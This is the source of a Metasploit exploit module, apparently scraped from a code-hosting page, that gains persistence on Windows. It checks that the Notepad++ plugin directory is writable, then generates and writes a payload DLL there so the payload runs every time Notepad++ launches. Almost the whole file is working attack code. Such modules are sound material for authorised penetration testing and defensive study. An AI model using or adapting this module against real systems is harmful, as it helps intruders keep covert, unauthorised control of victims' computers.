Path: blob/master/modules/exploits/windows/persistence/notepadpp_plugin.rb
31151 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Local::Persistence11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Notepad++ Plugin Persistence',18'Description' => %q{19This module create persistence by adding a malicious plugin to Notepad++, as it blindly loads and executes DLL from its plugin directory on startup, meaning that the payload will be executed every time Notepad++ is launched.20},21'License' => MSF_LICENSE,22'Author' => [ 'msutovsky-r7' ],23'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],24'Platform' => [ 'win' ],25'SessionTypes' => [ 'meterpreter', 'shell' ],26'Targets' => [27[ 'Automatic', {} ]28],29'DisclosureDate' => '2005-12-11', # plugins were added to Notepad++30'DefaultTarget' => 0,31'References' => [32['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],33['URL', 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence']34],35'Notes' => {36'Stability' => [CRASH_SAFE],37'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],38'SideEffects' => [ARTIFACTS_ON_DISK]39}40)41)4243register_options(44[45OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),46]47)48end4950def get_plugin_dir51expand_path('%PROGRAMFILES%\\Notepad++\\plugins\\')52end5354def check55@plugin_dir = get_plugin_dir56return CheckCode::Safe('Notepad++ is probably not present') unless directory?(@plugin_dir)5758# borrowed from startup folder persistence59begin60# windows only ps payloads have writable? so try that first61return CheckCode::Safe("Unable to write to #{@plugin_dir}") unless writable?(@plugin_dir)62rescue RuntimeError63filename = @plugin_dir + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))64write_file(filename, '')65if exists? filename66rm_f(filename)67else68return CheckCode::Safe("Unable to write to #{@plugin_dir}")69end70end7172CheckCode::Vulnerable('Notepad++ present and plugin folder is writable')73end7475def install_persistence76@plugin_dir ||= get_plugin_dir7778payload_name = CGI.escape(datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))))79payload_pathname = @plugin_dir + payload_name + '\\'80payload_exe = generate_payload_dll({ dll_exitprocess: true })81fail_with(Failure::BadConfig, "#{payload_instance.arch.first} payload selected for #{sysinfo['Architecture']} system") unless sysinfo['Architecture'] == payload_instance.arch.first82vprint_good("Writing payload to #{payload_pathname}")83if session.type == 'meterpreter'84fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)85else86fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless cmd_exec("mkdir \"#{payload_pathname}\"")87end8889fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)9091vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")92@clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"93end94end959697